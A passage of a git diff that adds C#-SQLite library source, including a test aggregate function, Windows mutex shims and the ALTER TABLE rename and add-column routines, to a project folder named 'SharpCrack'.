Win32_LogicalDisk where DeviceID = '" + diskPath.ToString().Remove( diskPath.Length - 1, 1 ) + "'" ); + try + { + foreach ( ManagementObject moLogDisk in mosLogicalDisks.Get() ) + { + ManagementObjectSearcher mosDiskDrives = new ManagementObjectSearcher( "select * from Win32_DiskDrive where SystemName = '" + moLogDisk["SystemName"] + "'" ); + foreach ( ManagementObject moPDisk in mosDiskDrives.Get() ) + { + return int.Parse( moPDisk["BytesPerSector"].ToString() ); + } + } + } + catch + { + } + return 4096; +#else + return 4096; +#endif +} + +static void SWAP( ref T A, ref T B ) +{ + T t = A; + A = B; + B = t; +} + +static void x_CountStep( +sqlite3_context context, +int argc, +sqlite3_value[] argv +) +{ + SumCtx p; + + int type; + Debug.Assert( argc <= 1 ); + Mem pMem = sqlite3_aggregate_context( context, 1 );//sizeof(*p)); + if ( pMem._SumCtx == null ) + pMem._SumCtx = new SumCtx(); + p = pMem._SumCtx; + if ( p.Context == null ) + p.Context = pMem; + if ( argc == 0 || SQLITE_NULL == sqlite3_value_type( argv[0] ) ) + { + p.cnt++; + p.iSum += 1; + } + else + { + type = sqlite3_value_numeric_type( argv[0] ); + if ( p != null && type != SQLITE_NULL ) + { + p.cnt++; + if ( type == SQLITE_INTEGER ) + { + i64 v = sqlite3_value_int64( argv[0] ); + if ( v == 40 || v == 41 ) + { + sqlite3_result_error( context, "value of " + v + " handed to x_count", -1 ); + return; + } + else + { + p.iSum += v; + if ( !( p.approx | p.overflow != 0 ) ) + { + i64 iNewSum = p.iSum + v; + int s1 = (int)( p.iSum >> ( sizeof( i64 ) * 8 - 1 ) ); + int s2 = (int)( v >> ( sizeof( i64 ) * 8 - 1 ) ); + int s3 = (int)( iNewSum >> ( sizeof( i64 ) * 8 - 1 ) ); + p.overflow = ( ( s1 & s2 & ~s3 ) | ( ~s1 & ~s2 & s3 ) ) != 0 ? 1 : 0; + p.iSum = iNewSum; + } + } + } + else + { + p.rSum += sqlite3_value_double( argv[0] ); + p.approx = true; + } + } + } +} +static void x_CountFinalize( sqlite3_context context ) +{ + SumCtx p; + Mem pMem = sqlite3_aggregate_context( context, 0 ); + p = pMem._SumCtx; + if ( p != null && p.cnt > 0 ) + { + if ( p.overflow != 0 ) + { + sqlite3_result_error( context, "integer overflow", -1 ); + } + else if ( p.approx ) + { + sqlite3_result_double( context, p.rSum ); + } + else if ( p.iSum == 42 ) + { + sqlite3_result_error( context, "x_count totals to 42", -1 ); + } + else + { + sqlite3_result_int64( context, p.iSum ); + } + } +} + +#if SQLITE_MUTEX_W32 +//---------------------WIN32 Definitions +static int GetCurrentThreadId() +{ + return Thread.CurrentThread.ManagedThreadId; +} +static long InterlockedIncrement( long location ) +{ + Interlocked.Increment( ref location ); + return location; +} +static void EnterCriticalSection( Object mtx ) +{ + //long mid = mtx.GetHashCode(); + //int tid = Thread.CurrentThread.ManagedThreadId; + //long ticks = cnt++; + //Debug.WriteLine(String.Format( "{2}: +EnterCriticalSection; Mutex {0} Thread {1}", mtx.GetHashCode(), Thread.CurrentThread.ManagedThreadId, ticks) ); + Monitor.Enter( mtx ); +} +static void InitializeCriticalSection( Object mtx ) +{ + //Debug.WriteLine(String.Format( "{2}: +InitializeCriticalSection; Mutex {0} Thread {1}", mtx.GetHashCode(), Thread.CurrentThread.ManagedThreadId, System.DateTime.Now.Ticks )); + Monitor.Enter( mtx ); +} +static void DeleteCriticalSection( Object mtx ) +{ + //Debug.WriteLine(String.Format( "{2}: +DeleteCriticalSection; Mutex {0} Thread {1}", mtx.GetHashCode(), Thread.CurrentThread.ManagedThreadId, System.DateTime.Now.Ticks) ); + Monitor.Exit( mtx ); +} +static void LeaveCriticalSection( Object mtx ) +{ + //Debug.WriteLine(String.Format("{2}: +LeaveCriticalSection; Mutex {0} Thread {1}", mtx.GetHashCode(), Thread.CurrentThread.ManagedThreadId, System.DateTime.Now.Ticks )); + Monitor.Exit( mtx ); +} +#endif + +// Miscellaneous Windows Constants +//#define ERROR_FILE_NOT_FOUND 2L +//#define ERROR_HANDLE_DISK_FULL 39L +//#define ERROR_NOT_SUPPORTED 50L +//#define ERROR_DISK_FULL 112L +const long ERROR_FILE_NOT_FOUND = 2L; +const long ERROR_HANDLE_DISK_FULL = 39L; +const long ERROR_NOT_SUPPORTED = 50L; +const long ERROR_DISK_FULL = 112L; + +private class SQLite3UpperToLower +{ + static int[] sqlite3UpperToLower = new int[] { +#if !NO_SQLITE_ASCII +0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, +18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, +36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, +54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 97, 98, 99,100,101,102,103, +104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121, +122, 91, 92, 93, 94, 95, 96, 97, 98, 99,100,101,102,103,104,105,106,107, +108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125, +126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143, +144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161, +162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179, +180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197, +198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215, +216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233, +234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251, +252,253,254,255 +#endif +}; + public int this[int index] + { + get + { + if ( index < sqlite3UpperToLower.Length ) + return sqlite3UpperToLower[index]; + else + return index; + } + } + + public int this[u32 index] + { + get + { + if ( index < sqlite3UpperToLower.Length ) + return sqlite3UpperToLower[index]; + else + return (int)index; + } + } +} + +static SQLite3UpperToLower sqlite3UpperToLower = new SQLite3UpperToLower(); +static SQLite3UpperToLower UpperToLower = sqlite3UpperToLower; + + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/alter_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/alter_c.cs new file mode 100644 index 0000000..7183d19 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/alter_c.cs @@ -0,0 +1,935 @@ +using System; +using System.Diagnostics; +using System.Text; + +namespace Community.CsharpSqlite +{ + using sqlite3_value = Sqlite3.Mem; + + public partial class Sqlite3 + { +/* +** 2005 February 15 +** +** The author disclaims copyright to this source code. In place of +** a legal notice, here is a blessing: +** +** May you do good and not evil. +** May you find forgiveness for yourself and forgive others. +** May you share freely, never taking more than you give. +** +************************************************************************* +** This file contains C code routines that used to generate VDBE code +** that implements the ALTER TABLE command. +************************************************************************* +** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart +** C#-SQLite is an independent reimplementation of the SQLite software library +** +** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 +** +************************************************************************* +*/ +//#include "sqliteInt.h" + +/* +** The code in this file only exists if we are not omitting the +** ALTER TABLE logic from the build. +*/ +#if !SQLITE_OMIT_ALTERTABLE + + +/* +** This function is used by SQL generated to implement the +** ALTER TABLE command. The first argument is the text of a CREATE TABLE or +** CREATE INDEX command. The second is a table name. The table name in +** the CREATE TABLE or CREATE INDEX statement is replaced with the third +** argument and the result returned. Examples: +** +** sqlite_rename_table('CREATE TABLE abc(a, b, c)', 'def') +** . 'CREATE TABLE def(a, b, c)' +** +** sqlite_rename_table('CREATE INDEX i ON abc(a)', 'def') +** . 'CREATE INDEX i ON def(a, b, c)' +*/ +static void renameTableFunc( +sqlite3_context context, +int NotUsed, +sqlite3_value[] argv +) +{ + string bResult = sqlite3_value_text( argv[0] ); + string zSql = bResult == null ? "" : bResult; + string zTableName = sqlite3_value_text( argv[1] ); + + int token = 0; + Token tname = new Token(); + int zCsr = 0; + int zLoc = 0; + int len = 0; + string zRet; + + sqlite3 db = sqlite3_context_db_handle( context ); + + UNUSED_PARAMETER( NotUsed ); + + /* The principle used to locate the table name in the CREATE TABLE + ** statement is that the table name is the first non-space token that + ** is immediately followed by a TK_LP or TK_USING token. + */ + if ( zSql != "" ) + { + do + { + if ( zCsr == zSql.Length ) + { + /* Ran out of input before finding an opening bracket. Return NULL. */ + return; + } + + /* Store the token that zCsr points to in tname. */ + zLoc = zCsr; + tname.z = zSql.Substring( zCsr );//(char*)zCsr; + tname.n = len; + + /* Advance zCsr to the next token. Store that token type in 'token', + ** and its length in 'len' (to be used next iteration of this loop). + */ + do + { + zCsr += len; + len = ( zCsr == zSql.Length ) ? 1 : sqlite3GetToken( zSql, zCsr, ref token ); + } while ( token == TK_SPACE ); + Debug.Assert( len > 0 ); + } while ( token != TK_LP && token != TK_USING ); + + zRet = sqlite3MPrintf( db, "%.*s\"%w\"%s", zLoc, zSql.Substring( 0, zLoc ), + zTableName, zSql.Substring( zLoc + tname.n ) ); + + sqlite3_result_text( context, zRet, -1, SQLITE_DYNAMIC ); + } +} + +/* +** This C function implements an SQL user function that is used by SQL code +** generated by the ALTER TABLE ... RENAME command to modify the definition +** of any foreign key constraints that use the table being renamed as the +** parent table. It is passed three arguments: +** +** 1) The complete text of the CREATE TABLE statement being modified, +** 2) The old name of the table being renamed, and +** 3) The new name of the table being renamed. +** +** It returns the new CREATE TABLE statement. For example: +** +** sqlite_rename_parent('CREATE TABLE t1(a REFERENCES t2)', 't2', 't3') +** -> 'CREATE TABLE t1(a REFERENCES t3)' +*/ +#if !SQLITE_OMIT_FOREIGN_KEY +static void renameParentFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] argv +) +{ + sqlite3 db = sqlite3_context_db_handle( context ); + string zOutput = ""; + string zResult; + string zInput = sqlite3_value_text( argv[0] ); + string zOld = sqlite3_value_text( argv[1] ); + string zNew = sqlite3_value_text( argv[2] ); + + int zIdx; /* Pointer to token */ + int zLeft = 0; /* Pointer to remainder of String */ + int n = 0; /* Length of token z */ + int token = 0; /* Type of token */ + + UNUSED_PARAMETER( NotUsed ); + for ( zIdx = 0; zIdx < zInput.Length; zIdx += n )//z=zInput; *z; z=z+n) + { + n = sqlite3GetToken( zInput, zIdx, ref token ); + if ( token == TK_REFERENCES ) + { + string zParent; + do + { + zIdx += n; + n = sqlite3GetToken( zInput, zIdx, ref token ); + } while ( token == TK_SPACE ); + + zParent = zIdx + n < zInput.Length ? zInput.Substring( zIdx, n ) : "";//sqlite3DbStrNDup(db, zIdx, n); + if ( String.IsNullOrEmpty( zParent ) ) + break; + sqlite3Dequote( ref zParent ); + if ( zOld.Equals( zParent, StringComparison.InvariantCultureIgnoreCase ) ) + { + string zOut = sqlite3MPrintf( db, "%s%.*s\"%w\"", + zOutput, zIdx - zLeft, zInput.Substring( zLeft ), zNew + ); + sqlite3DbFree( db, ref zOutput ); + zOutput = zOut; + zIdx += n;// zInput = &z[n]; + zLeft = zIdx; + } + sqlite3DbFree( db, ref zParent ); + } + } + + zResult = sqlite3MPrintf( db, "%s%s", zOutput, zInput.Substring( zLeft ) ); + sqlite3_result_text( context, zResult, -1, SQLITE_DYNAMIC ); + sqlite3DbFree( db, ref zOutput ); +} +#endif + +#if !SQLITE_OMIT_TRIGGER +/* This function is used by SQL generated to implement the +** ALTER TABLE command. The first argument is the text of a CREATE TRIGGER +** statement. The second is a table name. The table name in the CREATE +** TRIGGER statement is replaced with the third argument and the result +** returned. This is analagous to renameTableFunc() above, except for CREATE +** TRIGGER, not CREATE INDEX and CREATE TABLE. +*/ +static void renameTriggerFunc( +sqlite3_context context, +int NotUsed, +sqlite3_value[] argv +) +{ + string zSql = sqlite3_value_text( argv[0] ); + string zTableName = sqlite3_value_text( argv[1] ); + + int token = 0; + Token tname = new Token(); + int dist = 3; + int zCsr = 0; + int zLoc = 0; + int len = 1; + string zRet; + + sqlite3 db = sqlite3_context_db_handle( context ); + + UNUSED_PARAMETER( NotUsed ); + + /* The principle used to locate the table name in the CREATE TRIGGER + ** statement is that the table name is the first token that is immediatedly + ** preceded by either TK_ON or TK_DOT and immediatedly followed by one + ** of TK_WHEN, TK_BEGIN or TK_FOR. + */ + if ( zSql != null ) + { + do + { + + if ( zCsr == zSql.Length ) + { + /* Ran out of input before finding the table name. Return NULL. */ + return; + } + + /* Store the token that zCsr points to in tname. */ + zLoc = zCsr; + tname.z = zSql.Substring( zCsr, len );//(char*)zCsr; + tname.n = len; + + /* Advance zCsr to the next token. Store that token type in 'token', + ** and its length in 'len' (to be used next iteration of this loop). + */ + do + { + zCsr += len; + len = ( zCsr == zSql.Length ) ? 1 : sqlite3GetToken( zSql, zCsr, ref token ); + } while ( token == TK_SPACE ); + Debug.Assert( len > 0 ); + + /* Variable 'dist' stores the number of tokens read since the most + ** recent TK_DOT or TK_ON. This means that when a WHEN, FOR or BEGIN + ** token is read and 'dist' equals 2, the condition stated above + ** to be met. + ** + ** Note that ON cannot be a database, table or column name, so + ** there is no need to worry about syntax like + ** "CREATE TRIGGER ... ON ON.ON BEGIN ..." etc. + */ + dist++; + if ( token == TK_DOT || token == TK_ON ) + { + dist = 0; + } + } while ( dist != 2 || ( token != TK_WHEN && token != TK_FOR && token != TK_BEGIN ) ); + + /* Variable tname now contains the token that is the old table-name + ** in the CREATE TRIGGER statement. + */ + zRet = sqlite3MPrintf( db, "%.*s\"%w\"%s", zLoc, zSql.Substring( 0, zLoc ), + zTableName, zSql.Substring( zLoc + tname.n ) ); + sqlite3_result_text( context, zRet, -1, SQLITE_DYNAMIC ); + } +} +#endif // * !SQLITE_OMIT_TRIGGER */ + +/* +** Register built-in functions used to help implement ALTER TABLE +*/ +static FuncDef[] aAlterTableFuncs; +static void sqlite3AlterFunctions() +{ + aAlterTableFuncs = new FuncDef[] { +FUNCTION("sqlite_rename_table", 2, 0, 0, renameTableFunc), +#if !SQLITE_OMIT_TRIGGER +FUNCTION("sqlite_rename_trigger", 2, 0, 0, renameTriggerFunc), +#endif +#if !SQLITE_OMIT_FOREIGN_KEY +FUNCTION("sqlite_rename_parent", 3, 0, 0, renameParentFunc), +#endif + }; + int i; +#if SQLITE_OMIT_WSD + FuncDefHash pHash = GLOBAL(FuncDefHash, sqlite3GlobalFunctions); + FuncDef[] aFunc = GLOBAL(FuncDef, aAlterTableFuncs); +#else + FuncDefHash pHash = sqlite3GlobalFunctions; + FuncDef[] aFunc = aAlterTableFuncs; +#endif + + for ( i = 0; i < ArraySize( aAlterTableFuncs ); i++ ) + { + sqlite3FuncDefInsert( pHash, aFunc[i] ); + } +} + +/* +** This function is used to create the text of expressions of the form: +** +** name= OR name= OR ... +** +** If argument zWhere is NULL, then a pointer string containing the text +** "name=" is returned, where is the quoted version +** of the string passed as argument zConstant. The returned buffer is +** allocated using sqlite3DbMalloc(). It is the responsibility of the +** caller to ensure that it is eventually freed. +** +** If argument zWhere is not NULL, then the string returned is +** " OR name=", where is the contents of zWhere. +** In this case zWhere is passed to sqlite3DbFree() before returning. +** +*/ +static string whereOrName( sqlite3 db, string zWhere, string zConstant ) +{ + string zNew; + if ( String.IsNullOrEmpty( zWhere ) ) + { + zNew = sqlite3MPrintf( db, "name=%Q", zConstant ); + } + else + { + zNew = sqlite3MPrintf( db, "%s OR name=%Q", zWhere, zConstant ); + sqlite3DbFree( db, ref zWhere ); + } + return zNew; +} + +#if !(SQLITE_OMIT_FOREIGN_KEY) && !(SQLITE_OMIT_TRIGGER) +/* +** Generate the text of a WHERE expression which can be used to select all +** tables that have foreign key constraints that refer to table pTab (i.e. +** constraints for which pTab is the parent table) from the sqlite_master +** table. +*/ +static string whereForeignKeys( Parse pParse, Table pTab ) +{ + FKey p; + string zWhere = ""; + for ( p = sqlite3FkReferences( pTab ); p != null; p = p.pNextTo ) + { + zWhere = whereOrName( pParse.db, zWhere, p.pFrom.zName ); + } + return zWhere; +} +#endif + +/* +** Generate the text of a WHERE expression which can be used to select all +** temporary triggers on table pTab from the sqlite_temp_master table. If +** table pTab has no temporary triggers, or is itself stored in the +** temporary database, NULL is returned. +*/ +static string whereTempTriggers( Parse pParse, Table pTab ) +{ + Trigger pTrig; + string zWhere = ""; + Schema pTempSchema = pParse.db.aDb[1].pSchema; /* Temp db schema */ + + /* If the table is not located in the temp.db (in which case NULL is + ** returned, loop through the tables list of triggers. For each trigger + ** that is not part of the temp.db schema, add a clause to the WHERE + ** expression being built up in zWhere. + */ + if ( pTab.pSchema != pTempSchema ) + { + sqlite3 db = pParse.db; + for ( pTrig = sqlite3TriggerList( pParse, pTab ); pTrig != null; pTrig = pTrig.pNext ) + { + if ( pTrig.pSchema == pTempSchema ) + { + zWhere = whereOrName( db, zWhere, pTrig.zName ); + } + } + } + if ( !String.IsNullOrEmpty( zWhere ) ) + { + zWhere = sqlite3MPrintf( pParse.db, "type='trigger' AND (%s)", zWhere ); + //sqlite3DbFree( pParse.db, ref zWhere ); + //zWhere = zNew; + } + return zWhere; +} + +/* +** Generate code to drop and reload the internal representation of table +** pTab from the database, including triggers and temporary triggers. +** Argument zName is the name of the table in the database schema at +** the time the generated code is executed. This can be different from +** pTab.zName if this function is being called to code part of an +** "ALTER TABLE RENAME TO" statement. +*/ +static void reloadTableSchema( Parse pParse, Table pTab, string zName ) +{ + Vdbe v; + string zWhere; + int iDb; /* Index of database containing pTab */ +#if !SQLITE_OMIT_TRIGGER + Trigger pTrig; +#endif + + v = sqlite3GetVdbe( pParse ); + if ( NEVER( v == null ) ) + return; + Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); + iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + Debug.Assert( iDb >= 0 ); + +#if !SQLITE_OMIT_TRIGGER + /* Drop any table triggers from the internal schema. */ + for ( pTrig = sqlite3TriggerList( pParse, pTab ); pTrig != null; pTrig = pTrig.pNext ) + { + int iTrigDb = sqlite3SchemaToIndex( pParse.db, pTrig.pSchema ); + Debug.Assert( iTrigDb == iDb || iTrigDb == 1 ); + sqlite3VdbeAddOp4( v, OP_DropTrigger, iTrigDb, 0, 0, pTrig.zName, 0 ); + } +#endif + + /* Drop the table and index from the internal schema. */ + sqlite3VdbeAddOp4( v, OP_DropTable, iDb, 0, 0, pTab.zName, 0 ); + + /* Reload the table, index and permanent trigger schemas. */ + zWhere = sqlite3MPrintf( pParse.db, "tbl_name=%Q", zName ); + if ( zWhere == null ) + return; + sqlite3VdbeAddParseSchemaOp( v, iDb, zWhere ); + +#if !SQLITE_OMIT_TRIGGER + /* Now, if the table is not stored in the temp database, reload any temp +** triggers. Don't use IN(...) in case SQLITE_OMIT_SUBQUERY is defined. +*/ + if ( ( zWhere = whereTempTriggers( pParse, pTab ) ) != "" ) + { + sqlite3VdbeAddParseSchemaOp( v, 1, zWhere ); + } +#endif +} + +/* +** Parameter zName is the name of a table that is about to be altered +** (either with ALTER TABLE ... RENAME TO or ALTER TABLE ... ADD COLUMN). +** If the table is a system table, this function leaves an error message +** in pParse->zErr (system tables may not be altered) and returns non-zero. +** +** Or, if zName is not a system table, zero is returned. +*/ +static int isSystemTable( Parse pParse, string zName ) +{ + if ( zName.StartsWith( "sqlite_", System.StringComparison.InvariantCultureIgnoreCase ) ) + { + sqlite3ErrorMsg( pParse, "table %s may not be altered", zName ); + return 1; + } + return 0; +} + +/* +** Generate code to implement the "ALTER TABLE xxx RENAME TO yyy" +** command. +*/ +static void sqlite3AlterRenameTable( +Parse pParse, /* Parser context. */ +SrcList pSrc, /* The table to rename. */ +Token pName /* The new table name. */ +) +{ + int iDb; /* Database that contains the table */ + string zDb; /* Name of database iDb */ + Table pTab; /* Table being renamed */ + string zName = null; /* NULL-terminated version of pName */ + sqlite3 db = pParse.db; /* Database connection */ + int nTabName; /* Number of UTF-8 characters in zTabName */ + string zTabName; /* Original name of the table */ + Vdbe v; +#if !SQLITE_OMIT_TRIGGER + string zWhere = ""; /* Where clause to locate temp triggers */ +#endif + VTable pVTab = null; /* Non-zero if this is a v-tab with an xRename() */ + int savedDbFlags; /* Saved value of db->flags */ + + savedDbFlags = db.flags; + + //if ( NEVER( db.mallocFailed != 0 ) ) goto exit_rename_table; + Debug.Assert( pSrc.nSrc == 1 ); + Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); + pTab = sqlite3LocateTable( pParse, 0, pSrc.a[0].zName, pSrc.a[0].zDatabase ); + if ( pTab == null ) + goto exit_rename_table; + iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + zDb = db.aDb[iDb].zName; + db.flags |= SQLITE_PreferBuiltin; + + /* Get a NULL terminated version of the new table name. */ + zName = sqlite3NameFromToken( db, pName ); + if ( zName == null ) + goto exit_rename_table; + + /* Check that a table or index named 'zName' does not already exist + ** in database iDb. If so, this is an error. + */ + if ( sqlite3FindTable( db, zName, zDb ) != null || sqlite3FindIndex( db, zName, zDb ) != null ) + { + sqlite3ErrorMsg( pParse, + "there is already another table or index with this name: %s", zName ); + goto exit_rename_table; + } + + /* Make sure it is not a system table being altered, or a reserved name + ** that the table is being renamed to. + */ + if ( SQLITE_OK!=isSystemTable(pParse, pTab.zName) ) + { + goto exit_rename_table; + } + if ( SQLITE_OK != sqlite3CheckObjectName( pParse, zName ) ) + { + goto exit_rename_table; + } + +#if !SQLITE_OMIT_VIEW + if ( pTab.pSelect != null ) + { + sqlite3ErrorMsg( pParse, "view %s may not be altered", pTab.zName ); + goto exit_rename_table; + } +#endif + +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +/* Invoke the authorization callback. */ +if( sqlite3AuthCheck(pParse, SQLITE_ALTER_TABLE, zDb, pTab.zName, 0) ){ +goto exit_rename_table; +} +#endif + + if ( sqlite3ViewGetColumnNames( pParse, pTab ) != 0 ) + { + goto exit_rename_table; + } +#if !SQLITE_OMIT_VIRTUALTABLE + if ( IsVirtual( pTab ) ) + { + pVTab = sqlite3GetVTable( db, pTab ); + if ( pVTab.pVtab.pModule.xRename == null ) + { + pVTab = null; + } + } +#endif + /* Begin a transaction and code the VerifyCookie for database iDb. +** Then modify the schema cookie (since the ALTER TABLE modifies the +** schema). Open a statement transaction if the table is a virtual +** table. +*/ + v = sqlite3GetVdbe( pParse ); + if ( v == null ) + { + goto exit_rename_table; + } + sqlite3BeginWriteOperation( pParse, pVTab != null ? 1 : 0, iDb ); + sqlite3ChangeCookie( pParse, iDb ); + + /* If this is a virtual table, invoke the xRename() function if + ** one is defined. The xRename() callback will modify the names + ** of any resources used by the v-table implementation (including other + ** SQLite tables) that are identified by the name of the virtual table. + */ +#if !SQLITE_OMIT_VIRTUALTABLE +if ( pVTab !=null) +{ +int i = ++pParse.nMem; +sqlite3VdbeAddOp4( v, OP_String8, 0, i, 0, zName, 0 ); +sqlite3VdbeAddOp4( v, OP_VRename, i, 0, 0, pVTab, P4_VTAB ); +sqlite3MayAbort(pParse); +} +#endif + + /* figure out how many UTF-8 characters are in zName */ + zTabName = pTab.zName; + nTabName = sqlite3Utf8CharLen( zTabName, -1 ); + +#if !(SQLITE_OMIT_FOREIGN_KEY) && !(SQLITE_OMIT_TRIGGER) + if ( ( db.flags & SQLITE_ForeignKeys ) != 0 ) + { + /* If foreign-key support is enabled, rewrite the CREATE TABLE + ** statements corresponding to all child tables of foreign key constraints + ** for which the renamed table is the parent table. */ + if ( ( zWhere = whereForeignKeys( pParse, pTab ) ) != null ) + { + sqlite3NestedParse( pParse, + "UPDATE \"%w\".%s SET " + + "sql = sqlite_rename_parent(sql, %Q, %Q) " + + "WHERE %s;", zDb, SCHEMA_TABLE( iDb ), zTabName, zName, zWhere ); + sqlite3DbFree( db, ref zWhere ); + } + } +#endif + + /* Modify the sqlite_master table to use the new table name. */ + sqlite3NestedParse( pParse, + "UPDATE %Q.%s SET " + +#if SQLITE_OMIT_TRIGGER + "sql = sqlite_rename_table(sql, %Q), " + +#else + "sql = CASE " + + "WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)" + + "ELSE sqlite_rename_table(sql, %Q) END, " + +#endif + "tbl_name = %Q, " + + "name = CASE " + + "WHEN type='table' THEN %Q " + + "WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN " + + "'sqlite_autoindex_' || %Q || substr(name,%d+18) " + + "ELSE name END " + + "WHERE tbl_name=%Q AND " + + "(type='table' OR type='index' OR type='trigger');", + zDb, SCHEMA_TABLE( iDb ), zName, zName, zName, +#if !SQLITE_OMIT_TRIGGER + zName, +#endif + zName, nTabName, zTabName + ); + +#if !SQLITE_OMIT_AUTOINCREMENT + /* If the sqlite_sequence table exists in this database, then update +** it with the new table name. +*/ + if ( sqlite3FindTable( db, "sqlite_sequence", zDb ) != null ) + { + sqlite3NestedParse( pParse, + "UPDATE \"%w\".sqlite_sequence set name = %Q WHERE name = %Q", + zDb, zName, pTab.zName + ); + } +#endif + +#if !SQLITE_OMIT_TRIGGER + /* If there are TEMP triggers on this table, modify the sqlite_temp_master +** table. Don't do this if the table being ALTERed is itself located in +** the temp database. +*/ + if ( ( zWhere = whereTempTriggers( pParse, pTab ) ) != "" ) + { + sqlite3NestedParse( pParse, + "UPDATE sqlite_temp_master SET " + + "sql = sqlite_rename_trigger(sql, %Q), " + + "tbl_name = %Q " + + "WHERE %s;", zName, zName, zWhere ); + sqlite3DbFree( db, ref zWhere ); + } +#endif + +#if !(SQLITE_OMIT_FOREIGN_KEY) && !(SQLITE_OMIT_TRIGGER) + if ( ( db.flags & SQLITE_ForeignKeys ) != 0 ) + { + FKey p; + for ( p = sqlite3FkReferences( pTab ); p != null; p = p.pNextTo ) + { + Table pFrom = p.pFrom; + if ( pFrom != pTab ) + { + reloadTableSchema( pParse, p.pFrom, pFrom.zName ); + } + } + } +#endif + + /* Drop and reload the internal table schema. */ + reloadTableSchema( pParse, pTab, zName ); + +exit_rename_table: + sqlite3SrcListDelete( db, ref pSrc ); + sqlite3DbFree( db, ref zName ); + db.flags = savedDbFlags; +} + +/* +** Generate code to make sure the file format number is at least minFormat. +** The generated code will increase the file format number if necessary. +*/ +static void sqlite3MinimumFileFormat( Parse pParse, int iDb, int minFormat ) +{ + Vdbe v; + v = sqlite3GetVdbe( pParse ); + /* The VDBE should have been allocated before this routine is called. + ** If that allocation failed, we would have quit before reaching this + ** point */ + if ( ALWAYS( v ) ) + { + int r1 = sqlite3GetTempReg( pParse ); + int r2 = sqlite3GetTempReg( pParse ); + int j1; + sqlite3VdbeAddOp3( v, OP_ReadCookie, iDb, r1, BTREE_FILE_FORMAT ); + sqlite3VdbeUsesBtree( v, iDb ); + sqlite3VdbeAddOp2( v, OP_Integer, minFormat, r2 ); + j1 = sqlite3VdbeAddOp3( v, OP_Ge, r2, 0, r1 ); + sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_FILE_FORMAT, r2 ); + sqlite3VdbeJumpHere( v, j1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + sqlite3ReleaseTempReg( pParse, r2 ); + } +} + +/* +** This function is called after an "ALTER TABLE ... ADD" statement +** has been parsed. Argument pColDef contains the text of the new +** column definition. +** +** The Table structure pParse.pNewTable was extended to include +** the new column during parsing. +*/ +static void sqlite3AlterFinishAddColumn( Parse pParse, Token pColDef ) +{ + Table pNew; /* Copy of pParse.pNewTable */ + Table pTab; /* Table being altered */ + int iDb; /* Database number */ + string zDb; /* Database name */ + string zTab; /* Table name */ + string zCol; /* Null-terminated column definition */ + Column pCol; /* The new column */ + Expr pDflt; /* Default value for the new column */ + sqlite3 db; /* The database connection; */ + + db = pParse.db; + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) + return; + pNew = pParse.pNewTable; + Debug.Assert( pNew != null ); + Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) ); + iDb = sqlite3SchemaToIndex( db, pNew.pSchema ); + zDb = db.aDb[iDb].zName; + zTab = pNew.zName.Substring( 16 );// zTab = &pNew->zName[16]; /* Skip the "sqlite_altertab_" prefix on the name */ + pCol = pNew.aCol[pNew.nCol - 1]; + pDflt = pCol.pDflt; + pTab = sqlite3FindTable( db, zTab, zDb ); + Debug.Assert( pTab != null ); + +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +/* Invoke the authorization callback. */ +if( sqlite3AuthCheck(pParse, SQLITE_ALTER_TABLE, zDb, pTab.zName, 0) ){ +return; +} +#endif + + /* If the default value for the new column was specified with a +** literal NULL, then set pDflt to 0. This simplifies checking +** for an SQL NULL default below. +*/ + if ( pDflt != null && pDflt.op == TK_NULL ) + { + pDflt = null; + } + + /* Check that the new column is not specified as PRIMARY KEY or UNIQUE. + ** If there is a NOT NULL constraint, then the default value for the + ** column must not be NULL. + */ + if ( pCol.isPrimKey != 0 ) + { + sqlite3ErrorMsg( pParse, "Cannot add a PRIMARY KEY column" ); + return; + } + if ( pNew.pIndex != null ) + { + sqlite3ErrorMsg( pParse, "Cannot add a UNIQUE column" ); + return; + } + if ( ( db.flags & SQLITE_ForeignKeys ) != 0 && pNew.pFKey != null && pDflt != null ) + { + sqlite3ErrorMsg( pParse, + "Cannot add a REFERENCES column with non-NULL default value" ); + return; + } + if ( pCol.notNull != 0 && pDflt == null ) + { + sqlite3ErrorMsg( pParse, + "Cannot add a NOT NULL column with default value NULL" ); + return; + } + + /* Ensure the default expression is something that sqlite3ValueFromExpr() + ** can handle (i.e. not CURRENT_TIME etc.) + */ + if ( pDflt != null ) + { + sqlite3_value pVal = null; + if ( sqlite3ValueFromExpr( db, pDflt, SQLITE_UTF8, SQLITE_AFF_NONE, ref pVal ) != 0 ) + { + // db.mallocFailed = 1; + return; + } + if 